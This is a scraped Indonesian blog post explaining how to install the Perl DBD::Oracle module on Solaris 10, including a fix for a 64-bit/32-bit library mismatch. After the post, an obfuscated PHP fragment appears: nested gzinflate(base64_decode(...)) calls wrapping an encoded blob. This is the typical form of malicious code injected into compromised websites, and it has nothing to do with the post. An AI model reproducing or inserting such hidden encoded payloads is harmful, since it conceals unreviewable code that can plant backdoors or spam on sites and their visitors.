Delicious

Archives

Categories

Perl DBD::Oracle

  ozzie / 04/01/2013


Install PERL module DBD :: Oracle pada Oracle Solaris 10.. agar lebih nyaman Query data di Shell guna mengakses Oracle DataBase.. :D

untuk compiler pada solaris bisa download Oracle Solaris Studio..

mungkin dengan berbagai gaya install module PERL maupun CPAN di Solaris 10.. akan menghadapi berbagai error salah satu nya: ;))..

..... libclntsh.so: wrong ELF class: ELFCLASS64
ld: fatal: File processing errors. No output written to blib/arch/auto/DBD/Oracle/Oracle.so”

mungkin sedikit trik bertemunya arsitekture 64bit vs 32bit : #:-s

# export LD_LIBRARY_PATH=$ORACLE_HOME/lib32
# cd $ORACLE_HOME/perl/bin
# ./cpan  install YAML
# ./cpan  install DBD:: Oracle
....

setelah berhasil… selamat berpetualang… 8-}

Query via SQL Developer

Query via Perl Script


ref:
http://www.perl.com/pub/1999/10/DBI.html
http://search.cpan.org/dist/DBD-Oracle/lib/DBD/Oracle.pm


« »



".gzinflate(base64_decode(gzinflate(base64_decode(gzinflate(base64_decode('BcHRdkMwAADQD/KgS0mzR8ShjSMJNWveEEamOGljab9+9+KOSbyef5IA89DREZ+phxlyKhQ2sF/pt2hxFtPHwFYI4J1+mVr7YRsVICLl0fQMYyzzvW8FIOGbX1PVUVAP0/uWuZs8RWoEcMl8XpKEe37FrPxw/eeNGNw19npJt8S5uOlh83I2wUDpI6btM7hPv0s8Idtwt7XVp6gqMz92VSRz6Zx7WFuuSb8YAk8IveQfQ69xi7kGBRCNSsZSDPl+CP4B'))))))); ?>